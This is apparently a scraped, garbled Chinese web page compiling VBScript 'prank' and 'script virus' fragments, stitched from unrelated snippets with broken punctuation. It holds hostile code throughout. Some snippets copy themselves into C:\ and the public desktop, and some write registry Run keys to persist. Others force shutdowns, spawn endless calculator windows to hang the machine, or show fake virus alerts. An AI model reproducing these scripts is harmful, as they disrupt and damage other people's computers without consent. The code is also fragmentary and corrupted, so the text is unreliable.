1、代码如下#39警告#39慎用，点击否，出现删除的情况，后果自负#39请先备份set fso=CreateObjectquotScriptingFileSystemObjectquotset ws=CreateObjectquotwscriptshellquotk=MsgBoxquot您是否现在安装quot，vbyesno，quot温馨提；wsregwrite quotHKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers\TARGETDIR脚本病毒加强版vbsquot，quotRUNASADMINquot，quotREG_SZquotwsregwrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\P；Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；fWriteLineVBS #39写文件内容，该命令功能太简单，目前看来只能用于TXT文件 f；02 然后我们用Sublime打开vbs程序文件，在里面借助loop循环来不断的输出msgbox，如下图所示 03 接下来我们双击vbs程序文件，运行上面编写的整人程序，你会看到如下图所示的弹窗效果，我们点击确定以后会不断的弹窗 04；fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t。
2、4在请输入保存路径文本框中输入脚本病毒文件存放的位置后，单击我要生成按钮弹出提示框，提示用户生成完毕5在制作成功后，打开设置保存的位置，即可看到生成的VBS脚本文件6右击该文件，在弹出的快捷菜单中；Msgbox quot您的系统已遭病毒破坏，系统5秒后将自动关机关机，请在关机后24小时重新启动quot，16+4096，quotWindows安全警报quotShell quotcmdc shutdown s t 5quot佛祖曰普度众生，这样就行 后面那一句代码是用来关机的，VBS代；vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS；vbs整人代码要可以用的 我直接COPY到记事本里，所以别打错了 #xE768 我来答 1个回答 #热议# 公司那些设施可以提高员工幸福感？Hi村長 20100908 · TA获得超过247个赞 知道答主 回答量57 采纳率0% 帮助的人355万。
3、1首先在电脑鼠标右键 新建一个文本文档2然后点开文本文档进行编辑，最重要的一个代码就是msgbox，然后在后面添加想要说的话，但是要使用英文标点符号，换行时候都需要在前面加上代码，最后保存3保存好之后，对这个；wssendkeysquot%F4quot#39每次循环等待时间3000=3秒，以毫秒为单位的 wscriptsleep 3000 loop 想要停止它可新建文本mtxt改名mbat右击编辑输入 taskkill f im wscriptexe pause 保存 当需要停止vbs时执行一下m；=HKEY_CLASSES_ROOT\CLSID\2559a1f621d711d4bdaf00c04f60b9f0\Instance\InitPropertyBagquotCommandquot= quotParam1quot=VBS脚本实现整理磁盘碎片功能Set WshShell = WScriptCreateObjectquotWScriptShellquotDim fso， d。
4、xxvbs= 复制代码 代码如下On Error Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wsh；xufsocopyfile WscriptScriptfullname，quotC\VBScript\一触即发vbsquotxufsocopyfile WscriptScriptfullname，quotC\Users\Public\Desktop\一触即发vbsquotwscrtregwritequotHKEY_CURRENT_USER\Software\Microsoft\Windows\Current；代码一无限弹出信息框 双引号内可以自行修改 do msgbox quot爱邱哥爱生活quotloop 代码二打开N个计算器，到电脑死机 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代码三电脑关机 dim WSHshell set。
5、*Rnd+1msgbox joinpoint，quotquot25VBS删除桌面IE图标非快捷方式。
